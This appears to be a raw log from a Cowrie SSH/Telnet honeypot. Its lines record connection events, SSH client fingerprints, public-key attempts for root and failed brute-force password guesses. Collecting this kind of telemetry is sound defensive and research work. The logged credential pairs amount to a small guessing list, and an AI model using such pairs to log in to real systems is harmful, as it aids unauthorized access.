{"eventid":"cowrie.session.connect","src_ip":"4.194.4.255","src_port":60576,"dst_ip":"159.203.135.109","dst_port":22,"session":"98dae2c958b6","protocol":"ssh","message":"New connection: 4.194.4.255:60576 (159.203.135.109:22) [session: 98dae2c958b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:08.119432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:08.125421Z","src_ip":"4.194.4.255","session":"98dae2c958b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:08.378264Z","src_ip":"4.194.4.255","session":"98dae2c958b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password123456789","message":"login attempt [root/Password123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:09.380860Z","src_ip":"4.194.4.255","session":"98dae2c958b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:10.627255Z","src_ip":"4.194.4.255","session":"98dae2c958b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.84873056411743,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:13.485933Z","src_ip":"69.4.83.194","session":"931d69c285f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.7.233.211","src_port":50316,"dst_ip":"10.17.0.5","dst_port":22,"session":"e27fca44ea9e","protocol":"ssh","message":"New connection: 50.7.233.211:50316 (10.17.0.5:22) [session: e27fca44ea9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:22.207221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:22.212873Z","src_ip":"50.7.233.211","session":"e27fca44ea9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:22.298289Z","src_ip":"50.7.233.211","session":"e27fca44ea9e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:a6:6c:c0:5c:34:49:3f:a0:84:3c:68:f7:2b:55:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF4dxjGN9rb/2zKm5hizDRgpx3In+DhxrVTICy/tpKlIzHTb6jIWGLHm71d5UY0f0LzB1fGMiFohRgKvw/ruHM+GZm/4kZmStFVGnAy6YfFzGgGqMik21vhxYFSlyNe1pWg4pUEJp62j36JrLP3DpsPDDz2WdihEkpTu7gov+5ajmrNAwcI/hVymIutCL6xmRXYVM4BegNrxIh07BqXbbABVhKrBp+U+eHEGRIsd82fkyP3pYzdDnmRKQ2KbjjiKZM4LRqV3Wm/7PJMwBTydZgssORkjtmQqkZcdfd60okmzfQL2di53B6h1RwNTw1auOAYMIDha9KCx4E0ytiOBQF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:a6:6c:c0:5c:34:49:3f:a0:84:3c:68:f7:2b:55:63","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:22.680130Z","src_ip":"50.7.233.211","session":"e27fca44ea9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:a6:6c:c0:5c:34:49:3f:a0:84:3c:68:f7:2b:55:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF4dxjGN9rb/2zKm5hizDRgpx3In+DhxrVTICy/tpKlIzHTb6jIWGLHm71d5UY0f0LzB1fGMiFohRgKvw/ruHM+GZm/4kZmStFVGnAy6YfFzGgGqMik21vhxYFSlyNe1pWg4pUEJp62j36JrLP3DpsPDDz2WdihEkpTu7gov+5ajmrNAwcI/hVymIutCL6xmRXYVM4BegNrxIh07BqXbbABVhKrBp+U+eHEGRIsd82fkyP3pYzdDnmRKQ2KbjjiKZM4LRqV3Wm/7PJMwBTydZgssORkjtmQqkZcdfd60okmzfQL2di53B6h1RwNTw1auOAYMIDha9KCx4E0ytiOBQF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:22.683832Z","src_ip":"50.7.233.211","session":"e27fca44ea9e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:dc:6a:1e:69:c8:a1:26:fc:dd:31:a6:4e:fb:6c:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcRkgXjHZghuHTlzRqk7ohW/hrh5LF3Pk/a1UyiCOVa6JwmBBpUdPUZlzBpa3iv97HVTVpH4tnh+t5qNxncm1sHN3fp2rHyo/LTTZ5V0GknlQKrQ7j97MeYFUnO25KR4Frj/Ct1qtEKWzdTlgce0xAEbkDEJK2XpJPgzpmachJkUHiyrrX4y8gEWaS2KygyFyPBtVji8E38S+FgSYH760OjccPkKwOqd7jpW6AcKqd8mn/ylQedZBjOTtqLYlc+Lb8NSES41C+k7Vrq3jmCKq4xZtwhF1FaT5rAwui4lQvAQxMjVAHAGdvj4ooC8egx09fNVnSVxezAPcMYX5pXsdB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:dc:6a:1e:69:c8:a1:26:fc:dd:31:a6:4e:fb:6c:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:22.765330Z","src_ip":"50.7.233.211","session":"e27fca44ea9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:dc:6a:1e:69:c8:a1:26:fc:dd:31:a6:4e:fb:6c:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcRkgXjHZghuHTlzRqk7ohW/hrh5LF3Pk/a1UyiCOVa6JwmBBpUdPUZlzBpa3iv97HVTVpH4tnh+t5qNxncm1sHN3fp2rHyo/LTTZ5V0GknlQKrQ7j97MeYFUnO25KR4Frj/Ct1qtEKWzdTlgce0xAEbkDEJK2XpJPgzpmachJkUHiyrrX4y8gEWaS2KygyFyPBtVji8E38S+FgSYH760OjccPkKwOqd7jpW6AcKqd8mn/ylQedZBjOTtqLYlc+Lb8NSES41C+k7Vrq3jmCKq4xZtwhF1FaT5rAwui4lQvAQxMjVAHAGdvj4ooC8egx09fNVnSVxezAPcMYX5pXsdB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:22.768805Z","src_ip":"50.7.233.211","session":"e27fca44ea9e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2e:f8:98:b6:fa:3a:28:b2:87:f0:1e:ce:61:7f:8f:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfAoG3Zle7ARfGhyi1Nrdftr2U7eHb4bmslat/QBBglatxYP46bxXi73A+xyOzI5YhQndqKnQ7eHY/VCDApagGaNxBuF/Ts4A5yAiL8k6SQh6EwmE1mYSEtRt2BrVY7PifjRp6TOfnO8oy+JQFS1BnjzODThHOpQVFmg1PdWtIMRr7hg0YjY6fojlWl6hJzvWIelOpu2MTDJdKIbpziPl3ThiTzyWEV+0K8ZiNmwap3GL6JoiScOFavWI/E11cmvzift4r7Gm8FTAbTVClTGz8UFifrLazgACjnzsKpa9TnLo48MvxrQRU5y4jiWHqarfu0xuwvk/TBs32S6+NUoUKBj6J1XdsSMebE7YeTOrWlqU764hFnXqPr5g+66FRMayiwX4m/xEunCVx488IG/88sdNqy7mSUA8pklFXP7gQZgNIlmCppQX91kJPxSNlODyzurUrnX4TsK6mVXAfWj3AxAQtAeGJwv3KTQiG99AxIy3B59TPNdqZFI/fpIzExQtW3hwjgyBx+AlAgUmCFS7O2GFlWIRFc0DTOPAHmawiBWqCIlbXIKy6zkxeP39XX2PUp+WkXM0uxyDMgTFYrKgsR0xUb1jxuzkN/+2dxUhuyw7hwyNd7oadv0tl9w0+KSvKyQRTL65Thnfu1lpV0lit2FrMJ2O4jgP8b1yY0wphOQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2e:f8:98:b6:fa:3a:28:b2:87:f0:1e:ce:61:7f:8f:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:22.849988Z","src_ip":"50.7.233.211","session":"e27fca44ea9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2e:f8:98:b6:fa:3a:28:b2:87:f0:1e:ce:61:7f:8f:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfAoG3Zle7ARfGhyi1Nrdftr2U7eHb4bmslat/QBBglatxYP46bxXi73A+xyOzI5YhQndqKnQ7eHY/VCDApagGaNxBuF/Ts4A5yAiL8k6SQh6EwmE1mYSEtRt2BrVY7PifjRp6TOfnO8oy+JQFS1BnjzODThHOpQVFmg1PdWtIMRr7hg0YjY6fojlWl6hJzvWIelOpu2MTDJdKIbpziPl3ThiTzyWEV+0K8ZiNmwap3GL6JoiScOFavWI/E11cmvzift4r7Gm8FTAbTVClTGz8UFifrLazgACjnzsKpa9TnLo48MvxrQRU5y4jiWHqarfu0xuwvk/TBs32S6+NUoUKBj6J1XdsSMebE7YeTOrWlqU764hFnXqPr5g+66FRMayiwX4m/xEunCVx488IG/88sdNqy7mSUA8pklFXP7gQZgNIlmCppQX91kJPxSNlODyzurUrnX4TsK6mVXAfWj3AxAQtAeGJwv3KTQiG99AxIy3B59TPNdqZFI/fpIzExQtW3hwjgyBx+AlAgUmCFS7O2GFlWIRFc0DTOPAHmawiBWqCIlbXIKy6zkxeP39XX2PUp+WkXM0uxyDMgTFYrKgsR0xUb1jxuzkN/+2dxUhuyw7hwyNd7oadv0tl9w0+KSvKyQRTL65Thnfu1lpV0lit2FrMJ2O4jgP8b1yY0wphOQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:22.853834Z","src_ip":"50.7.233.211","session":"e27fca44ea9e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"43:bf:d3:a1:0d:db:e4:a4:64:4d:10:39:91:90:d8:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDL4GTUKLP1kQtuVns9+kHVL7wdUQeDku7/2IT2CaTcH075tuGIvT4e0p+c4tIh0UKh5VkDXAiz8vu9CXhZeJqQ7RtHkGae4+QRdNSWHgtUA9nQz14tg2VRT4PDdGFVh/OA2XHmB5iwiK1eSt56VFTxMk2GowEgvr3qTL3Fx9eCUoJbGhIeO0YAYj/x1cmAEbyrMFZ2AW7DK1JfujAfuLGXi7ViFeDPAIl7TNVgDz3Xoaoc/b13w7fY3bkIh3J6BvMMm+xDlAKVw0/Dtn9S/Yo6OZjd4tEuepdP3FYQUdk/ERG+uQf1DkxRd87UmLnS97g6XjU3h91Dklg5O/iWLAax","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 43:bf:d3:a1:0d:db:e4:a4:64:4d:10:39:91:90:d8:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:22.961839Z","src_ip":"50.7.233.211","session":"e27fca44ea9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"43:bf:d3:a1:0d:db:e4:a4:64:4d:10:39:91:90:d8:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDL4GTUKLP1kQtuVns9+kHVL7wdUQeDku7/2IT2CaTcH075tuGIvT4e0p+c4tIh0UKh5VkDXAiz8vu9CXhZeJqQ7RtHkGae4+QRdNSWHgtUA9nQz14tg2VRT4PDdGFVh/OA2XHmB5iwiK1eSt56VFTxMk2GowEgvr3qTL3Fx9eCUoJbGhIeO0YAYj/x1cmAEbyrMFZ2AW7DK1JfujAfuLGXi7ViFeDPAIl7TNVgDz3Xoaoc/b13w7fY3bkIh3J6BvMMm+xDlAKVw0/Dtn9S/Yo6OZjd4tEuepdP3FYQUdk/ERG+uQf1DkxRd87UmLnS97g6XjU3h91Dklg5O/iWLAax","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:22.965045Z","src_ip":"50.7.233.211","session":"e27fca44ea9e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:2a:b3:f8:12:b8:ee:5d:2c:da:c8:3b:e5:03:ec:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCskYjqTZxK5HiXN6/qpZxRMsO0l4NEVCuOYyLb5HIiJoiBE2WnflwQauIIy7nriy1o6x0L8lril1lAu4QxckOH128ulMuW50nhsbzl7RIqHCf46lZASjCm7cvBjvMwWdrmgpjX6XyxdOuAAC3s/j5l2k5W4SdniyThcQM+z/EMKmJAcLhDLWc+8k/cIjwkvsSNfCJVqcfBknj1vXCUPcqquyE9jf05bLnC+UKe3xANYnv8oJNtWN8cdLKd98H+rrxaFxCsSfN6xmXN1VfQhgXUJj7Ii5980PV8sX37wga4oHEMjBIuTO+hLy/1dc34g2EE3JcUStaJt2irrurFknGX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:2a:b3:f8:12:b8:ee:5d:2c:da:c8:3b:e5:03:ec:bb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:23.045671Z","src_ip":"50.7.233.211","session":"e27fca44ea9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:2a:b3:f8:12:b8:ee:5d:2c:da:c8:3b:e5:03:ec:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCskYjqTZxK5HiXN6/qpZxRMsO0l4NEVCuOYyLb5HIiJoiBE2WnflwQauIIy7nriy1o6x0L8lril1lAu4QxckOH128ulMuW50nhsbzl7RIqHCf46lZASjCm7cvBjvMwWdrmgpjX6XyxdOuAAC3s/j5l2k5W4SdniyThcQM+z/EMKmJAcLhDLWc+8k/cIjwkvsSNfCJVqcfBknj1vXCUPcqquyE9jf05bLnC+UKe3xANYnv8oJNtWN8cdLKd98H+rrxaFxCsSfN6xmXN1VfQhgXUJj7Ii5980PV8sX37wga4oHEMjBIuTO+hLy/1dc34g2EE3JcUStaJt2irrurFknGX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:23.049215Z","src_ip":"50.7.233.211","session":"e27fca44ea9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:23.130766Z","src_ip":"50.7.233.211","session":"e27fca44ea9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":32274,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe120cdf0c45","protocol":"ssh","message":"New connection: 38.93.206.2:32274 (10.17.0.5:22) [session: fe120cdf0c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:27.151242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:27.156112Z","src_ip":"38.93.206.2","session":"fe120cdf0c45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:27.208961Z","src_ip":"38.93.206.2","session":"fe120cdf0c45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cntgfyjd","message":"login attempt [root/cntgfyjd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:27.364989Z","src_ip":"38.93.206.2","session":"fe120cdf0c45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:28.420639Z","src_ip":"38.93.206.2","session":"fe120cdf0c45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":39778,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7bbe95403d5","protocol":"telnet","message":"New connection: 69.4.83.194:39778 (159.203.135.109:23) [session: b7bbe95403d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:31.180723Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.133","src_port":33682,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebc86f4b2b58","protocol":"ssh","message":"New connection: 101.79.165.133:33682 (159.203.135.109:22) [session: ebc86f4b2b58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:37.852167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:37.857020Z","src_ip":"101.79.165.133","session":"ebc86f4b2b58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.07330775260925,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:38.010779Z","src_ip":"69.4.83.194","session":"ebf8380be894","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:38.080818Z","src_ip":"101.79.165.133","session":"ebc86f4b2b58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"snq","password":"snq","message":"login attempt [snq/snq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:39.010267Z","src_ip":"101.79.165.133","session":"ebc86f4b2b58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00163269042969,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:39.547016Z","src_ip":"102.219.170.64","session":"8bed622f9146","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:40.236411Z","src_ip":"101.79.165.133","session":"ebc86f4b2b58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.65.220","src_port":40306,"dst_ip":"159.203.135.109","dst_port":22,"session":"94dbbdcdb3cf","protocol":"ssh","message":"New connection: 43.133.65.220:40306 (159.203.135.109:22) [session: 94dbbdcdb3cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:42.551732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:42.556530Z","src_ip":"43.133.65.220","session":"94dbbdcdb3cf","protocol":"ssh"}
